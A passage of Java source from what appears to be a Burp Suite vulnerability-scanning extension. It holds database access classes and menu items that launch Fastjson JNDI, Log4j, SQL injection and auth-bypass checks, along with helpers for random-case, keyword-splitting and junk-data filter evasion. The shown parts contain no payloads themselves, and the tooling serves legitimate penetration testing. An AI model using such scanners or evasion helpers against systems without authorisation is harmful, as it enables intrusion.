} catch (SQLException e) {
throw new RuntimeException(e);
}
PreparedStatement ps = null;
try {
ps = connection.prepareStatement(sql);
ps.setString(1, log4jBean.getValue());
ps.setString(2, log4jBean.getType());
ps.executeUpdate();
} catch (Exception e) {
Utils.stderr.println(e.getMessage());
} finally {
DbUtils.close(connection, ps, null);
}
}
// 删除
public static void deleteLog4jByType(String type) {
String sql = "DELETE FROM log4j WHERE type = ?";
Connection connection = null;
try {
connection = DbUtils.getConnection();
} catch (SQLException e) {
throw new RuntimeException(e);
}
PreparedStatement ps = null;
try {
ps = connection.prepareStatement(sql);
ps.setString(1, type);
ps.executeUpdate();
} catch (Exception e) {
Utils.stderr.println(e.getMessage());
} finally {
DbUtils.close(connection, ps, null);
}
}
}
================================================
FILE: src/main/java/burp/dao/PermDao.java
================================================
package burp.dao;
import burp.bean.PermBean;
import burp.utils.DbUtils;
import burp.utils.Utils;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.List;
/**
* @Author Xm17
* @Date 2024-06-22 10:48
*/
public class PermDao {
// 保存
public static void savePerm(PermBean permBean){
String sql = "INSERT OR REPLACE INTO perm (type, value) VALUES (?, ?)";
Connection connection = null;
try {
connection = DbUtils.getConnection();
} catch (SQLException e) {
throw new RuntimeException(e);
}
PreparedStatement ps = null;
try {
ps = connection.prepareStatement(sql);
ps.setString(1, permBean.getType());
ps.setString(2, permBean.getValue());
ps.executeUpdate();
} catch (Exception e) {
Utils.stderr.println(e.getMessage());
} finally {
DbUtils.close(connection, ps, null);
}
}
// 更新
public static void updatePerm(PermBean permBean){
String sql = "update perm set value = ? where type = ?";
Connection connection = null;
try {
connection = DbUtils.getConnection();
} catch (SQLException e) {
throw new RuntimeException(e);
}
PreparedStatement ps = null;
try {
ps = connection.prepareStatement(sql);
ps.setString(1, permBean.getValue());
ps.setString(2, permBean.getType());
ps.executeUpdate();
} catch (Exception e) {
e.printStackTrace();
} finally {
DbUtils.close(connection, ps, null);
}
}
// 删除
public static void deletePerm(String type){
String sql = "delete from perm where type = ?";
Connection connection = null;
try {
connection = DbUtils.getConnection();
} catch (SQLException e) {
throw new RuntimeException(e);
}
PreparedStatement ps = null;
try {
ps = connection.prepareStatement(sql);
ps.setString(1, type);
ps.executeUpdate();
} catch (Exception e) {
e.printStackTrace();
} finally {
DbUtils.close(connection, ps, null);
}
}
// 查询一个
public static PermBean getPermListByType(String type) {
PermBean permBean = new PermBean();
String routesql = "select * from perm where type = ?";
Connection connection = null;
try {
connection = DbUtils.getConnection();
} catch (SQLException e) {
throw new RuntimeException(e);
}
PreparedStatement ps = null;
ResultSet resultSet = null;
try {
ps = connection.prepareStatement(routesql);
ps.setString(1, type);
resultSet = ps.executeQuery();
while (resultSet.next()) {
permBean.setId(resultSet.getInt("id"));
permBean.setType(resultSet.getString("type"));
permBean.setValue(resultSet.getString("value"));
}
} catch (Exception e) {
e.printStackTrace();
} finally {
DbUtils.close(connection, ps, null);
}
return permBean;
}
// 查询所有
public static List getPermListsByType(String type){
List permBeanLists = new ArrayList<>();
String routesql = "select * from perm where type = ?";
Connection connection = null;
try {
connection = DbUtils.getConnection();
} catch (SQLException e) {
throw new RuntimeException(e);
}
PreparedStatement ps = null;
ResultSet resultSet = null;
try {
ps = connection.prepareStatement(routesql);
ps.setString(1, type);
resultSet = ps.executeQuery();
while (resultSet.next()) {
PermBean permBean = new PermBean();
permBean.setId(resultSet.getInt("id"));
permBean.setType(resultSet.getString("type"));
permBean.setValue(resultSet.getString("value"));
permBeanLists.add(permBean);
}
} catch (Exception e) {
e.printStackTrace();
} finally {
DbUtils.close(connection, ps, null);
}
return permBeanLists;
}
}
================================================
FILE: src/main/java/burp/dao/RouteDao.java
================================================
package burp.dao;
import burp.bean.RouteBean;
import burp.bean.SqlBean;
import burp.utils.DbUtils;
import burp.utils.Utils;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.List;
public class RouteDao {
// 获取所有规则
public static List getRouteLists(){
String sql = "SELECT * FROM route";
Connection connection = null;
try {
connection = DbUtils.getConnection();
} catch (SQLException e) {
throw new RuntimeException(e);
}
PreparedStatement ps = null;
ResultSet rs = null;
List routeBeans = new ArrayList<>();
try {
ps = connection.prepareStatement(sql);
rs = ps.executeQuery();
while (rs.next()){
RouteBean routeBean = new RouteBean();
routeBean.setEnable(rs.getInt("enable"));
routeBean.setName(rs.getString("name"));
routeBean.setPath(rs.getString("path"));
routeBean.setExpress(rs.getString("express"));
routeBeans.add(routeBean);
}
} catch (Exception e) {
Utils.stderr.println(e.getMessage());
} finally {
DbUtils.close(connection, ps, rs);
}
return routeBeans;
}
// 通过id修改规则
public static void updateRouteById(RouteBean routeBean){
String sql = "UPDATE route SET enable = ?, name = ?, path = ?, express = ? WHERE id = ?";
Connection connection = null;
try {
connection = DbUtils.getConnection();
} catch (SQLException e) {
throw new RuntimeException(e);
}
PreparedStatement ps = null;
try {
ps = connection.prepareStatement(sql);
ps.setInt(1, routeBean.getEnable());
ps.setString(2, routeBean.getName());
ps.setString(3, routeBean.getPath());
ps.setString(4, routeBean.getExpress());
ps.setInt(5, routeBean.getId());
ps.executeUpdate();
} catch (Exception e) {
Utils.stderr.println(e.getMessage());
} finally {
DbUtils.close(connection, ps, null);
}
}
// 通过id修改enable
public static void updateRouteEnable(RouteBean routeBean){
String sql = "UPDATE route SET enable = ? WHERE name = ? and path = ? and express = ?";
Connection connection = null;
try {
connection = DbUtils.getConnection();
} catch (SQLException e) {
throw new RuntimeException(e);
}
PreparedStatement ps = null;
try {
ps = connection.prepareStatement(sql);
ps.setInt(1, routeBean.getEnable());
ps.setString(2, routeBean.getName());
ps.setString(3, routeBean.getPath());
ps.setString(4, routeBean.getExpress());
ps.executeUpdate();
} catch (Exception e) {
Utils.stderr.println(e.getMessage());
} finally {
DbUtils.close(connection, ps, null);
}
}
// 删除
public static boolean deleteRoute(RouteBean routeBean){
String sql = "DELETE FROM route WHERE name = ? and path = ? and express = ?";
Connection connection = null;
try {
connection = DbUtils.getConnection();
} catch (SQLException e) {
throw new RuntimeException(e);
}
PreparedStatement ps = null;
try {
ps = connection.prepareStatement(sql);
ps.setString(1, routeBean.getName());
ps.setString(2, routeBean.getPath());
ps.setString(3, routeBean.getExpress());
ps.executeUpdate();
return true;
} catch (Exception e) {
Utils.stderr.println(e.getMessage());
return false;
} finally {
DbUtils.close(connection, ps, null);
}
}
// 添加规则
public static void addRoute(RouteBean routeBean){
String sql = "INSERT INTO route (enable, name, path, express) VALUES (?, ?, ?, ?)";
Connection connection = null;
try {
connection = DbUtils.getConnection();
} catch (SQLException e) {
throw new RuntimeException(e);
}
PreparedStatement ps = null;
try {
ps = connection.prepareStatement(sql);
ps.setInt(1, routeBean.getEnable());
ps.setString(2, routeBean.getName());
ps.setString(3, routeBean.getPath());
ps.setString(4, routeBean.getExpress());
ps.executeUpdate();
} catch (Exception e) {
Utils.stderr.println(e.getMessage());
} finally {
DbUtils.close(connection, ps, null);
}
}
}
================================================
FILE: src/main/java/burp/dao/SimilarDomainConfigDao.java
================================================
package burp.dao;
import burp.bean.*;
import burp.utils.DbUtils;
import burp.utils.Utils;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.List;
public class SimilarDomainConfigDao {
// 保存域名配置
public static void saveDomainConfig(SimilarDomainConfigBean config) {
String sql = "INSERT INTO domain_configs (project_id, domain, create_time) VALUES (?, ?, datetime('now','localtime'))";
Connection connection = null;
PreparedStatement ps = null;
try {
connection = DbUtils.getConnection();
ps = connection.prepareStatement(sql);
ps.setInt(1, config.getProjectId());
ps.setString(2, config.getDomain());
ps.executeUpdate();
} catch (Exception e) {
Utils.stderr.println(e.getMessage());
} finally {
DbUtils.close(connection, ps, null);
}
}
// 批量保存域名配置
public static void saveDomainConfigs(int projectId, List domains) {
Connection connection = null;
PreparedStatement ps = null;
try {
connection = DbUtils.getConnection();
connection.setAutoCommit(false);
// 先删除旧的配置
String deleteSql = "DELETE FROM domain_configs WHERE project_id = ?";
ps = connection.prepareStatement(deleteSql);
ps.setInt(1, projectId);
ps.executeUpdate();
// 插入新的配置
String insertSql = "INSERT INTO domain_configs (project_id, domain, create_time) VALUES (?, ?, datetime('now','localtime'))";
ps = connection.prepareStatement(insertSql);
for (String domain : domains) {
ps.setInt(1, projectId);
ps.setString(2, domain.trim());
ps.addBatch();
}
ps.executeBatch();
connection.commit();
} catch (Exception e) {
Utils.stderr.println(e.getMessage());
try {
if (connection != null) {
connection.rollback();
}
} catch (SQLException ex) {
Utils.stderr.println(ex.getMessage());
}
} finally {
try {
if (connection != null) {
connection.setAutoCommit(true);
}
} catch (SQLException e) {
Utils.stderr.println(e.getMessage());
}
DbUtils.close(connection, ps, null);
}
}
// 获取项目的域名配置
public static List getDomainConfigs(int projectId) {
List domains = new ArrayList<>();
String sql = "SELECT domain FROM domain_configs WHERE project_id = ?";
Connection connection = null;
PreparedStatement ps = null;
ResultSet rs = null;
try {
connection = DbUtils.getConnection();
ps = connection.prepareStatement(sql);
ps.setInt(1, projectId);
rs = ps.executeQuery();
while (rs.next()) {
domains.add(rs.getString("domain"));
}
} catch (Exception e) {
Utils.stderr.println(e.getMessage());
} finally {
DbUtils.close(connection, ps, rs);
}
return domains;
}
}
================================================
FILE: src/main/java/burp/dao/SimilarDomainResultDao.java
================================================
package burp.dao;
import burp.bean.SimilarDomainResultBean;
import burp.utils.DbUtils;
import burp.utils.Utils;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.List;
public class SimilarDomainResultDao {
// 保存域名结果
public static int saveDomainResult(SimilarDomainResultBean result) {
Connection connection = null;
PreparedStatement ps = null;
ResultSet rs = null;
try {
connection = DbUtils.getConnection();
// 先检查是否存在相同记录
String checkSql = "SELECT id FROM domain_results WHERE project_id = ? AND domain = ?";
ps = connection.prepareStatement(checkSql);
ps.setInt(1, result.getProjectId());
ps.setString(2, result.getDomain());
rs = ps.executeQuery();
if (rs.next()) {
// 如果存在,更新IP和时间
int existingId = rs.getInt("id");
DbUtils.close(null, ps, rs); // 关闭旧的PreparedStatement和ResultSet
String updateSql = "UPDATE domain_results SET ip = ?, create_time = datetime('now','localtime') WHERE id = ?";
ps = connection.prepareStatement(updateSql);
ps.setString(1, result.getIp());
ps.setInt(2, existingId);
ps.executeUpdate();
return existingId;
} else {
// 不存在则插入新记录
DbUtils.close(null, ps, rs); // 关闭旧的PreparedStatement和ResultSet
String insertSql = "INSERT INTO domain_results (project_id, domain, ip, create_time) VALUES (?, ?, ?, datetime('now','localtime'))";
// 移除 Statement.RETURN_GENERATED_KEYS
ps = connection.prepareStatement(insertSql);
ps.setInt(1, result.getProjectId());
ps.setString(2, result.getDomain());
ps.setString(3, result.getIp());
ps.executeUpdate();
// 使用 last_insert_rowid() 获取最后插入的ID
ps = connection.prepareStatement("SELECT last_insert_rowid()");
rs = ps.executeQuery();
if (rs.next()) {
return rs.getInt(1);
}
}
return -1;
} catch (SQLException e) {
return -1;
} catch (Exception e) {
return -1;
} finally {
DbUtils.close(connection, ps, rs);
}
}
// 获取项目的域名结果
public static List getDomainResults(int projectId) throws SQLException {
List results = new ArrayList<>();
String sql = "SELECT id, project_id, domain, ip, create_time FROM domain_results WHERE project_id = ?";
Connection connection = null;
PreparedStatement ps = null;
ResultSet rs = null;
try {
connection = DbUtils.getConnection();
ps = connection.prepareStatement(sql);
ps.setInt(1, projectId);
rs = ps.executeQuery();
while (rs.next()) {
SimilarDomainResultBean bean = new SimilarDomainResultBean(
rs.getInt("project_id"),
rs.getString("domain"),
rs.getString("ip")
);
bean.setId(rs.getInt("id"));
bean.setCreateTime(rs.getString("create_time"));
results.add(bean);
}
return results;
} finally {
DbUtils.close(connection, ps, rs);
}
}
public static boolean isDomainExists(int id, String domain) {
String sql = "SELECT id FROM domain_results WHERE id = ? AND domain = ?";
try {
Connection connection = DbUtils.getConnection();
PreparedStatement ps = connection.prepareStatement(sql);
ps.setInt(1, id);
ps.setString(2, domain);
ResultSet rs = ps.executeQuery();
if (rs.next()) {
return true;
}
} catch (SQLException e) {
e.printStackTrace();
}
return false;
}
public static void updateDomainResult(SimilarDomainResultBean result) {
Connection connection = null;
PreparedStatement ps = null;
try {
connection = DbUtils.getConnection();
// 更新域名记录信息,包括IP和更新时间
String sql = "UPDATE similar_domain_results SET ip = ?, update_time = datetime('now','localtime') WHERE id = ?";
ps = connection.prepareStatement(sql);
ps.setString(1, result.getIp());
ps.setInt(2, result.getId());
int updatedRows = ps.executeUpdate();
if (updatedRows == 0) {
Utils.stderr.println("更新域名结果失败: 记录不存在 (ID: " + result.getId() + ")");
}
} catch (Exception e) {
Utils.stderr.println("更新域名结果失败: " + e.getMessage());
} finally {
DbUtils.close(connection, ps, null);
}
}
}
================================================
FILE: src/main/java/burp/dao/SimilarProjectDao.java
================================================
package burp.dao;
import burp.bean.*;
import burp.utils.DbUtils;
import burp.utils.Utils;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.util.ArrayList;
import java.util.List;
public class SimilarProjectDao {
// 保存项目
public static void saveProject(SimilarProjectBean project) {
String sql = "INSERT INTO projects (name, create_time) VALUES (?, datetime('now','localtime'))";
Connection connection = null;
PreparedStatement ps = null;
try {
connection = DbUtils.getConnection();
ps = connection.prepareStatement(sql);
ps.setString(1, project.getName());
ps.executeUpdate();
} catch (Exception e) {
Utils.stderr.println(e.getMessage());
} finally {
DbUtils.close(connection, ps, null);
}
}
// 获取所有项目
public static List getAllProjects() {
List projects = new ArrayList<>();
String sql = "SELECT * FROM projects ORDER BY create_time DESC";
Connection connection = null;
PreparedStatement ps = null;
ResultSet rs = null;
try {
connection = DbUtils.getConnection();
ps = connection.prepareStatement(sql);
rs = ps.executeQuery();
while (rs.next()) {
SimilarProjectBean project = new SimilarProjectBean();
project.setId(rs.getInt("id"));
project.setName(rs.getString("name"));
project.setCreateTime(rs.getString("create_time"));
projects.add(project);
}
} catch (Exception e) {
Utils.stderr.println(e.getMessage());
} finally {
DbUtils.close(connection, ps, rs);
}
return projects;
}
// 删除项目
public static void deleteProject(int projectId) {
String sql = "DELETE FROM projects WHERE id = ?";
Connection connection = null;
PreparedStatement ps = null;
try {
connection = DbUtils.getConnection();
ps = connection.prepareStatement(sql);
ps.setInt(1, projectId);
ps.executeUpdate();
} catch (Exception e) {
Utils.stderr.println(e.getMessage());
} finally {
DbUtils.close(connection, ps, null);
}
}
}
================================================
FILE: src/main/java/burp/dao/SimilarUrlResultDao.java
================================================
package burp.dao;
import burp.bean.SimilarUrlResultBean;
import burp.utils.DbUtils;
import burp.utils.Utils;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.List;
public class SimilarUrlResultDao {
// 保存URL结果
public static int saveUrlResult(SimilarUrlResultBean result) {
Connection connection = null;
PreparedStatement ps = null;
ResultSet rs = null;
try {
connection = DbUtils.getConnection();
// 先检查是否存在相同记录
String checkSql = "SELECT id FROM url_results WHERE project_id = ? AND url = ?";
ps = connection.prepareStatement(checkSql);
ps.setInt(1, result.getProjectId());
ps.setString(2, result.getUrl());
rs = ps.executeQuery();
if (rs.next()) {
// 如果存在,更新时间
int existingId = rs.getInt("id");
DbUtils.close(null, ps, rs); // 关闭旧的PreparedStatement和ResultSet
String updateSql = "UPDATE url_results SET create_time = datetime('now','localtime') WHERE id = ?";
ps = connection.prepareStatement(updateSql);
ps.setInt(1, existingId);
ps.executeUpdate();
return existingId;
} else {
// 不存在则插入新记录
DbUtils.close(null, ps, rs); // 关闭旧的PreparedStatement和ResultSet
String insertSql = "INSERT INTO url_results (project_id, url, create_time) VALUES (?, ?, datetime('now','localtime'))";
ps = connection.prepareStatement(insertSql, Statement.RETURN_GENERATED_KEYS);
ps.setInt(1, result.getProjectId());
ps.setString(2, result.getUrl());
ps.executeUpdate();
// 获取新插入记录的ID
rs = ps.getGeneratedKeys();
if (rs.next()) {
return rs.getInt(1);
}
}
return -1;
} catch (Exception e) {
Utils.stderr.println(e.getMessage());
return -1;
} finally {
DbUtils.close(connection, ps, rs);
}
}
// 获取项目的URL结果
public static List getUrlResults(int projectId) {
Connection connection = null;
PreparedStatement ps = null;
ResultSet rs = null;
List results = new ArrayList<>();
try {
connection = DbUtils.getConnection();
// 按创建时间降序排列,获取最新的记录
String sql = "SELECT id, project_id, url, create_time FROM url_results WHERE project_id = ? ORDER BY create_time DESC";
ps = connection.prepareStatement(sql);
ps.setInt(1, projectId);
rs = ps.executeQuery();
while (rs.next()) {
SimilarUrlResultBean result = new SimilarUrlResultBean();
result.setId(rs.getInt("id"));
result.setProjectId(rs.getInt("project_id"));
result.setUrl(rs.getString("url"));
result.setCreateTime(rs.getString("create_time"));
results.add(result);
}
return results;
} catch (Exception e) {
Utils.stderr.println("获取URL结果失败: " + e.getMessage());
return null;
} finally {
DbUtils.close(connection, ps, rs);
}
}
// 检查URL是否存在
public static boolean isUrlExists(int projectId, String url) {
Connection connection = null;
PreparedStatement ps = null;
ResultSet rs = null;
try {
connection = DbUtils.getConnection();
// 查询是否存在相同URL记录
String sql = "SELECT COUNT(*) as count FROM url_results WHERE project_id = ? AND url = ?";
ps = connection.prepareStatement(sql);
ps.setInt(1, projectId);
ps.setString(2, url);
rs = ps.executeQuery();
if (rs.next()) {
return rs.getInt("count") > 0;
}
return false;
} catch (Exception e) {
Utils.stderr.println("检查URL是否存在失败: " + e.getMessage());
return false;
} finally {
DbUtils.close(connection, ps, rs);
}
}
}
================================================
FILE: src/main/java/burp/dao/SqlDao.java
================================================
package burp.dao;
import burp.bean.SqlBean;
import burp.utils.DbUtils;
import burp.utils.Utils;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.List;
public class SqlDao {
// 保存
public static void saveSql(SqlBean sqlBean){
String sql = "INSERT OR REPLACE INTO sqli (type, value) VALUES (?, ?)";
Connection connection = null;
try {
connection = DbUtils.getConnection();
} catch (SQLException e) {
throw new RuntimeException(e);
}
PreparedStatement ps = null;
try {
ps = connection.prepareStatement(sql);
ps.setString(1, sqlBean.getType());
ps.setString(2, sqlBean.getValue());
ps.executeUpdate();
} catch (Exception e) {
Utils.stderr.println(e.getMessage());
} finally {
DbUtils.close(connection, ps, null);
}
}
// 更新
public static void updateSql(SqlBean sqlBean){
String sql = "update sqli set value = ? where type = ?";
Connection connection = null;
try {
connection = DbUtils.getConnection();
} catch (SQLException e) {
throw new RuntimeException(e);
}
PreparedStatement ps = null;
try {
ps = connection.prepareStatement(sql);
ps.setString(1, sqlBean.getValue());
ps.setString(2, sqlBean.getType());
ps.executeUpdate();
} catch (Exception e) {
e.printStackTrace();
} finally {
DbUtils.close(connection, ps, null);
}
}
// 根据type获取多个
public static List getSqlListsByType(String type){
List sqlLists = new ArrayList<>();
String routesql = "select * from sqli where type = ?";
Connection connection = null;
try {
connection = DbUtils.getConnection();
} catch (SQLException e) {
throw new RuntimeException(e);
}
PreparedStatement ps = null;
ResultSet resultSet = null;
try {
ps = connection.prepareStatement(routesql);
ps.setString(1, type);
resultSet = ps.executeQuery();
while (resultSet.next()) {
SqlBean sqlBean = new SqlBean();
sqlBean.setId(resultSet.getInt("id"));
sqlBean.setType(resultSet.getString("type"));
sqlBean.setValue(resultSet.getString("value"));
sqlLists.add(sqlBean);
}
} catch (Exception e) {
Utils.stderr.println(e.getMessage());
} finally {
DbUtils.close(connection, ps, resultSet);
}
return sqlLists;
}
// 根据type获取一个
public static SqlBean getSqlListByType(String type){
String routesql = "select * from sqli where type = ?";
Connection connection = null;
try {
connection = DbUtils.getConnection();
} catch (SQLException e) {
throw new RuntimeException(e);
}
PreparedStatement ps = null;
ResultSet resultSet = null;
try {
ps = connection.prepareStatement(routesql);
ps.setString(1, type);
resultSet = ps.executeQuery();
while (resultSet.next()) {
SqlBean sqlBean = new SqlBean();
sqlBean.setId(resultSet.getInt("id"));
sqlBean.setType(resultSet.getString("type"));
sqlBean.setValue(resultSet.getString("value"));
return sqlBean;
}
} catch (Exception e) {
Utils.stderr.println(e.getMessage());
} finally {
DbUtils.close(connection, ps, resultSet);
}
return null;
}
// 根据type删除
public static void deleteSqlByType(String type){
String sql = "delete from sqli where type = ?";
Connection connection = null;
try {
connection = DbUtils.getConnection();
} catch (SQLException e) {
throw new RuntimeException(e);
}
PreparedStatement ps = null;
try {
ps = connection.prepareStatement(sql);
ps.setString(1, type);
ps.executeUpdate();
} catch (Exception e) {
e.printStackTrace();
} finally {
DbUtils.close(connection, ps, null);
}
}
// 根据type和value删除
public static void deleteSqlByTypeAndValue(String type, String value){
String sql = "delete from sqli where type = ? and value = ?";
Connection connection = null;
try {
connection = DbUtils.getConnection();
} catch (SQLException e) {
throw new RuntimeException(e);
}
PreparedStatement ps = null;
try {
ps = connection.prepareStatement(sql);
ps.setString(1, type);
ps.setString(2, value);
ps.executeUpdate();
} catch (Exception e) {
e.printStackTrace();
}
}
}
================================================
FILE: src/main/java/burp/menu/AuthMenu.java
================================================
package burp.menu;
import burp.IHttpRequestResponse;
import burp.ui.AuthUI;
import javax.swing.*;
import java.awt.event.ActionListener;
public class AuthMenu extends JMenuItem {
public AuthMenu(IHttpRequestResponse[] requestResponses) {
this.setText("^_^ AuthBypass Check");
this.addActionListener(new ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
Thread thread = new Thread(new Runnable() {
@Override
public void run() {
AuthUI.Check(requestResponses);
}
});
thread.start();
}
});
}
}
================================================
FILE: src/main/java/burp/menu/FastjsonMenu.java
================================================
package burp.menu;
import burp.IHttpRequestResponse;
import burp.ui.FastjsonUI;
import javax.swing.*;
import java.awt.event.ActionListener;
public class FastjsonMenu extends JMenuItem {
public JMenuItem FastjsonDnslogMenu(IHttpRequestResponse[] responses) {
this.setText("^_^ FastJson Dnslog Check");
this.addActionListener(new ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
Thread thread = new Thread(new Runnable() {
@Override
public void run() {
new FastjsonUI().CheckDnslog(responses);
}
});
thread.start();
}
});
return this;
}
public JMenuItem FastjsonEchoMenu(IHttpRequestResponse[] responses) {
this.setText("^_^ FastJson Echo Check");
this.addActionListener(new ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
Thread thread = new Thread(new Runnable() {
@Override
public void run() {
new FastjsonUI().CheckEchoVul(responses);
}
});
thread.start();
}
});
return this;
}
public JMenuItem FastjsonJNDIMenu(IHttpRequestResponse[] responses) {
this.setText("^_^ FastJson JNDI Check");
this.addActionListener(new ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
Thread thread = new Thread(new Runnable() {
@Override
public void run() {
new FastjsonUI().CheckJNDIVul(responses);
}
});
thread.start();
}
});
return this;
}
public JMenuItem FastjsonVersionMenu(IHttpRequestResponse[] responses) {
this.setText("^_^ FastJson Version Check");
this.addActionListener(new ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
Thread thread = new Thread(new Runnable() {
@Override
public void run() {
new FastjsonUI().CheckVersion(responses);
}
});
thread.start();
}
});
return this;
}
}
================================================
FILE: src/main/java/burp/menu/Log4jMenu.java
================================================
package burp.menu;
import burp.IHttpRequestResponse;
import burp.ui.Log4jUI;
import javax.swing.*;
import java.awt.event.ActionListener;
public class Log4jMenu extends JMenuItem {
public Log4jMenu(IHttpRequestResponse[] requestResponses) {
this.setText("^_^ Log4j Check");
this.addActionListener(new ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
Thread thread = new Thread(new Runnable() {
@Override
public void run() {
Log4jUI.Check(requestResponses,true);
}
});
thread.start();
}
});
}
}
================================================
FILE: src/main/java/burp/menu/NucleiMenu.java
================================================
package burp.menu;
import burp.IHttpRequestResponse;
import burp.utils.Nuclei;
import javax.swing.*;
import java.awt.event.ActionListener;
public class NucleiMenu extends JMenuItem {
public NucleiMenu(IHttpRequestResponse[] requestResponses) {
this.setText("^_^ Nuclei Template");
this.addActionListener(new ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
Thread thread = new Thread(new Runnable() {
@Override
public void run() {
Nuclei.Generate(requestResponses);
}
});
thread.start();
}
});
}
}
================================================
FILE: src/main/java/burp/menu/PermMenu.java
================================================
package burp.menu;
import burp.IHttpRequestResponse;
import burp.ui.PermUI;
import javax.swing.*;
import java.awt.event.ActionListener;
public class PermMenu extends JMenuItem {
public PermMenu(IHttpRequestResponse[] requestResponses) {
this.setText("^_^ Perm Check");
this.addActionListener(new ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
Thread thread = new Thread(new Runnable() {
@Override
public void run() {
PermUI.Check(requestResponses,true);
}
});
thread.start();
}
});
}
}
================================================
FILE: src/main/java/burp/menu/RouteMenu.java
================================================
package burp.menu;
import burp.IHttpRequestResponse;
import burp.ui.AuthUI;
import burp.ui.RouteUI;
import javax.swing.*;
import java.awt.event.ActionListener;
public class RouteMenu extends JMenuItem {
public RouteMenu(IHttpRequestResponse[] requestResponses) {
this.setText("^_^ Route Check");
this.addActionListener(new ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
Thread thread = new Thread(new Runnable() {
@Override
public void run() {
RouteUI.Check(requestResponses,true);
}
});
thread.start();
}
});
}
}
================================================
FILE: src/main/java/burp/menu/SqlMenu.java
================================================
package burp.menu;
import burp.IHttpRequestResponse;
import burp.ui.SqlUI;
import javax.swing.*;
import java.awt.event.ActionListener;
public class SqlMenu extends JMenuItem {
public SqlMenu(IHttpRequestResponse[] requestResponses) {
this.setText("^_^ Sql Check");
this.addActionListener(new ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
Thread thread = new Thread(new Runnable() {
@Override
public void run() {
SqlUI.Check(requestResponses,true);
}
});
thread.start();
}
});
}
}
================================================
FILE: src/main/java/burp/menu/TextProcessMenu.java
================================================
package burp.menu;
import burp.IContextMenuInvocation;
import burp.utils.Utils;
import javax.swing.*;
import java.awt.*;
import java.awt.datatransfer.Clipboard;
import java.awt.datatransfer.StringSelection;
import java.net.URLDecoder;
import java.nio.charset.StandardCharsets;
import java.security.SecureRandom;
import java.util.Random;
import java.util.stream.Collectors;
import java.util.stream.IntStream;
/**
* 文本处理菜单
* 提供各种文本转换功能
*/
public class TextProcessMenu extends JMenu {
private final IContextMenuInvocation invocation;
private final Random random = new Random();
private final SecureRandom secureRandom = new SecureRandom();
public TextProcessMenu(IContextMenuInvocation invocation) {
super("Helper");
this.invocation = invocation;
initMenu();
}
/**
* 初始化菜单项
*/
private void initMenu() {
// Unicode解码菜单项
JMenuItem unicodeDecode = new JMenuItem("Unicode Decode");
unicodeDecode.addActionListener(e -> processSelectedText(this::unicodeDecode));
// URL解码菜单项
JMenuItem urlDecode = new JMenuItem("URL Decode");
urlDecode.addActionListener(e -> processSelectedText(this::urlDecode));
// 关键字拆分菜单项
JMenuItem splitKeyword = new JMenuItem("Split Keyword");
splitKeyword.addActionListener(e -> processSelectedText(this::splitKeyword));
// 随机大小写菜单项
JMenuItem randomCase = new JMenuItem("Random Case");
randomCase.addActionListener(e -> processSelectedText(this::randomCase));
// 添加生成脏数据菜单项
JMenuItem dirtyData = new JMenuItem("Generate Dirty Data");
dirtyData.addActionListener(e -> dirtyGetRandomString());
// 添加Base64数据标签菜单项
JMenuItem base64Tag = new JMenuItem("Insert Base64 Tag");
base64Tag.addActionListener(e -> checkBase64Data());
add(unicodeDecode);
add(urlDecode);
add(splitKeyword);
add(randomCase);
add(dirtyData);
add(base64Tag);
}
/**
* 处理选中的文本
*/
private void processSelectedText(TextProcessor processor) {
try {
// 检查消息选择
if (invocation.getSelectedMessages() == null || invocation.getSelectedMessages().length == 0) {
JOptionPane.showMessageDialog(null, "No message selected!");
return;
}
// 获取选择范围
int[] bounds = invocation.getSelectionBounds();
if (bounds == null || bounds[0] == bounds[1]) {
JOptionPane.showMessageDialog(null, "Please select text first!");
return;
}
// 获取当前选中的文本所在的字节数据
byte[] contextBytes;
int context = invocation.getInvocationContext();
if (context == IContextMenuInvocation.CONTEXT_MESSAGE_EDITOR_REQUEST ||
context == IContextMenuInvocation.CONTEXT_MESSAGE_VIEWER_REQUEST) {
contextBytes = invocation.getSelectedMessages()[0].getRequest();
} else {
contextBytes = invocation.getSelectedMessages()[0].getResponse();
}
if (contextBytes == null) {
JOptionPane.showMessageDialog(null, "No content available!");
return;
}
// 提取选中的文本部分
String fullText = new String(contextBytes);
String selected = fullText.substring(bounds[0], bounds[1]);
// 处理选中的文本
String processed = processor.process(selected);
// 在弹窗中显示结果
showProcessedResult(processed);
} catch (Exception ex) {
Utils.stderr.println("Error processing text: " + ex.getMessage());
JOptionPane.showMessageDialog(null, "Error: " + ex.getMessage());
}
}
private void showProcessedResult(String result) {
// 创建一个可复制的文本区域
JTextArea textArea = new JTextArea(result);
textArea.setEditable(false);
textArea.setWrapStyleWord(true);
textArea.setLineWrap(true);
// 创建滚动面板
JScrollPane scrollPane = new JScrollPane(textArea);
scrollPane.setPreferredSize(new Dimension(400, 300));
// 创建复制按钮
JButton copyButton = new JButton("复制到剪贴板");
copyButton.addActionListener(e -> {
StringSelection stringSelection = new StringSelection(result);
Clipboard clipboard = Toolkit.getDefaultToolkit().getSystemClipboard();
clipboard.setContents(stringSelection, null);
JOptionPane.showMessageDialog(null, "复制到粘贴板!", "Success", JOptionPane.INFORMATION_MESSAGE);
});
// 创建包含文本区域和按钮的面板
